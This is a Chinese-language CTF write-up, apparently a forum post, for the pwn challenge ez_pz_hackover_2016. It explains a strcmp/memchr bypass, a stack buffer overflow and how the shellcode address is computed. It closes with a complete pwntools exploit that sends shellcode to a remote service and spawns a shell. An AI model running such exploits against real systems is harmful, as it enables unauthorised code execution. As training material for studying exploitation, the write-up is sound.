题目信息
ubuntu16(libc2.23)、32位,几乎啥都没开
1.png (22.73 KB, 下载次数: 0)
下载附件
2023-7-28 15:03 上传
主函数中先输出数组的地址(是字符串格式而不是二进制格式,可以直接使用int函数读取,参考wp),然后memchr函数会将'\n'之后的内容截断,所以需要\x00绕过,同时需要crashme\x00来达成strcmp的条件,转到vuln函数。
2.png (36.05 KB, 下载次数: 0)
下载附件
2023-7-28 15:03 上传
vuln函数将param_1中的内容复制到栈中的临时数组中,结合主函数的数组可以导致溢出。
3.png (15.62 KB, 下载次数: 0)
下载附件
2023-7-28 15:03 上传
解题思路
关键步骤
payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode
4.png (282.69 KB, 下载次数: 0)
下载附件
2023-7-28 15:03 上传
还是上面这个图,右侧可以发现主函数chall中输出的数组地址为0xff95c28c,在左侧栈中的相对位置为0x5c,结合payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode可以发现,ret_addr的位置应该是shellcode的地址,而在栈中p32(ret_addr)保存在0x3c,shellcode是从0x40开始保存的,shellcode的位置是array_addr-(0x5c-0x40)即array_addr-0x1c
wp
[Python] 纯文本查看 复制代码# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"
pc = "ez_pz_hackover_2016"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",27598)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
shellcode = asm(shellcraft.sh())
ru("Yippie, lets crash: ")
array_addr = int(r.recv(10),16)
lg('array_addr')
payload = b"crashme\x00" + b'a'*(0x16-8+4) + p32(array_addr-0x1c) + shellcode
#db()
sla("> ",payload)
ti()